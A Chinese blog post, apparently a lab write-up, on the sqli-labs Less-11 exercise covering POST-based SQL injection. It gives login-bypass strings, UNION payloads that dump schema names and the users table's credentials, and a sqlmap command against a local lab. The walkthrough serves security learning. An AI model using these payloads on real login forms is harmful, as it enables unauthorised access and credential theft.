SQL注入——万能密码,使用sqlmap的注入方法和GET类似,无非多了一个--data
从Less11开始和前面的有所不同最大的一点就是:前面的都是Get方法,而现在开始的是POST方法。
Less-11实验主要是:单引号字符注入
从登陆界面的样子,最直接想到的就是“万能密码”。
我们先看一下源码,发现sql语句是这样的:
从这个代码里我们看到用户的地方输入用户名,而不能在用户名后闭合用前面的%23来注释后面的,如果注释了整个语句会出错。所以要保证整个语句正确一般有两种方法,要么在用户名位置构造返回是ture,要么在密码地方构造。
- 在用户名位置构造
构造的用户名在数据库中要存在,这里我们猜测会不用admin这样的用户名。
在用户名位置输入 admin' or '1'='1 密码位置随便输入任意内容
点击提交后,我们可以以用户admin登录进入
- 在密码位置构造
在用户名位置输入任意名字, 密码位置随便输入sdfsd' or '1'='1
点击提交后,我们发现这里以数据库users表的第一个用户登录进去的。
这里出现这样的原因其实通过分析构造的两个语句就能看出来了:
select * from users where username='admin' or '1'='1' and
password='fsdfs'
如果这里不用admin用的别的,那么接下来语句就是ture,语句被执行,返回的是空内容;所以username中的内容表中必须有。
select * from users where username='aaa' and password='sdfsd' or '1'='1'
而这一句其实等同于 select * from users where '1'='1' ,这就是直接执行select * from
users 无任何条件。
大家就明白为什么在密码处构造不需要知道用户名是什么,也就是常说的万能密码,但登陆进去的一定是第一个用户。
less 11
post方法单引号绕过报错注入
这关跟之前get方法的差不了多少,只是get方法换成了post方法
post数据uname=1' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=1可以得到
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#&passwd=1
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#&passwd=1
uname=1' union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&passwd=1
其中#表示注释,后面的SQL语句都不起作用了!
less-11
uname和passwd直接带入查询,万能密码
sqlmap自动搜索表单,或者抓包后用-r参数
然后:
sqlmap -u "http://localhost/Less-11/" --data "uname=1&passwd=11&submit=Submit" --dbs
注入方法和GET类似,无非是加了一个--data而已!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2019-06-14 Linux 反弹shell(二)反弹shell的本质
2018-06-14 leetcode 367. Valid Perfect Square
2018-06-14 DGA短域名(360样本) mark下 下次分析可以参考
2018-06-14 cylance做的机器学习相关材料汇总
2017-06-14 KD树——k=1时就是BST,里面的数学原理还是有不明白的地方,为啥方差划分?
2017-06-14 梯度下降法——得到的结果可能是局部最优值,如果凸函数则可保证梯度下降得到的是全局最优值